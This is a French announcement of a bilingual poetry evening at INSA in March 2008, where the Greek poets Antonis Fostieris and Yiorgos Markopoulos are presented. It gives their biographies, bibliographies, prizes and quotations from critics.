L’association culturelle franco-hellénique Defkalion
le Service Culturel de l’ INSA et le Centre National du Livre Grec
présentent dans le cadre du Printemps des Poètes, les poètes venus spécialement de Grèce pour l’occasion
Antonis FOSTIERIS
et
Yiorgos MARKOPOULOS
Le vendredi 14 mars 2008 à 19h
dans le Hall d’Exposition des Humanités à l’ INSA
Au programme :
Ø Présentation des poètes
Ø Lecture de leurs poèmes en français et en grec
Ø Accompagnement musical par le quatuor des étudiants en Arts Etudes de l’INSA
Ø Signature des livres
Ø Cocktail
Antonis FOSTIERIS est né en 1953 à Athènes où il a étudié le droit. C’est à Paris qu’il étudie l’histoire du droit. Il publiait déjà son premier volume de poésie en 1971. De 1974 à 1976, il a publié la revue “I Néa Píissi” (“la nouvelle poésie lyrique”). En coopération avec Thanassis Niarchos, l’anthologie “Píisi” de 1975 à 1981 (“poésie lyrique”) et depuis 1981 apparaît sous sa direction la revue littéraire “I Léxi” (“le mot”). Ses poèmes ont été traduits dans de nombreuses langues,
dont le français, et publiés dans des anthologies.
Recueil des poésies
“Léthé précieuse”, Athènes Kastaniotis, 2003
“La pensée appartient au deuil”, Kastaniotis, 1996
“Le M et le R de la mort”, Athènes Kastaniotis, 1987
“Le diable chantait juste”, Thessaloniki, Egnatia 1981
“La poésie dans la poésie”, Athènes, Kedros, 1977
“Sombre éros”, Athènes, Kedros, 1977
“Lieux d’intérieur ou les vingt”, Athènes, 1973
“Le grand voyage”, Athènes, 1971
Prix
Prix National de Poésie et Prix de la revue ‘Diabazw’ 2004
Prix Vrettakou de la mairie d’Athènes, 1998
Prix International de Poésie Cavafy 1993
« …La poésie de Fostiéris tend à libérer les forces cachées du langage. Il cherche la dimension invisible de la langue et demande à parler avec vérité et authenticité, sans artifices …mais la subversion essentielle dans sa poésie, se réalise de manière exceptionnelle dans le domaine de la langue…Ses mots prennent une dimension charnelle, ils ont son, couleur, mouvement. Le mot est une entité notionnelle dominante pour sa poésie et parler de celle-ci fait que l’on se trouve déjà dans le cœur de sa poétique : le petit galet, si vous voulez, qui est tombé dans le lac du logos et trace autour de lui les cercles concentriques qui définissent le poème…»
M. Psahou
« …Son implication décisive à l’architecture de la revue littéraire « I LEXI » (le mot) qui est un phare pour les jeunes générations de poètes et littéraires, témoigne non seulement de son engagement pour le mot dans le domaine de la création mais aussi dans celui de sa conception théorique. »
A. Souloyianni
Yiorgos MARKOPOULOS est né à Messini en Grèce en 1951. Il vit et travaille à Athènes depuis 1965. Il a étudié l’économie et la statistique. Parallèlement à la poésie, il écrit des critiques littéraires et autres formes de prose dans les périodiques et journaux. En 1999 il s’est vu décerner le Prix National de la Poésie pour son recueil « Ne couvre pas le fleuve » qui a été candidat pour le Prix l’Excellence Européenne de l’an 2000.Il est membre de la Société des Poètes depuis 1982.
Recueil des poésies
“Ne recouvre pas le fleuve”, Athènes, Kedros 1999 et Desmos-Paris 2000
“Poèmes 1968-1987”, Athènes, Nefeli 1992, 2000
“L’histoire de l’étranger et de la triste”, Athènes, Yakinthos 1987
“Poèmes, 1968-1976 (Sélection)”, Thessaloniki, Tram 1980
“Les artisans des feux d’artifices”, Athènes, Tram 1979, Petite Egnatia 1980
“La tristesse de banlieue”, Athènes, Kedros, 1976
“Les voleurs du monde des ténèbres”, Athènes, Kouros, 1973
“Septième Symphonie”, Athènes, 1968
Essais
“Excursion vers l’autre langue”, premier volume, Athènes, Roptron, 1991
“Excursion vers l’autre langue”, second volume, Athènes, Nefeli 1994
“Lefteris Ieropais”, Gavriilidis 1999
“Le football dans la poésie grecque” Kastaniotis 2006
Prix
Prix Cavafy en Alexandrie en Egypte, 1996 / Prix National de la Poésie Grecque 1999
«Les humbles, les paumés, les écorchés, il les raconte à mi-voix, avec une extrême tendresse….il peint l’âme populaire comme personne, simplement dignement, dans une langue à la fois familière et noble, où les plus pauvres mots retrouvent éclat et fraîcheur ; Malgré l’émotion, l’humour pointe ici ou un nez là timide; l’émerveillement se mêle au chagrin par la grâce de soudaines métaphores, à la fois étonnantes et simples.
Dans les poèmes de Markopoulos on y retrouve la magie de certaines séquences de Fellini et celles des anciens contes et des chants populaires grecs, ce trésor à jamais vivant….la Grèce de Markopoulos est l’une des plus secrètes, les plus profondes les plus vraies qui soient. »
M.Volkovitch
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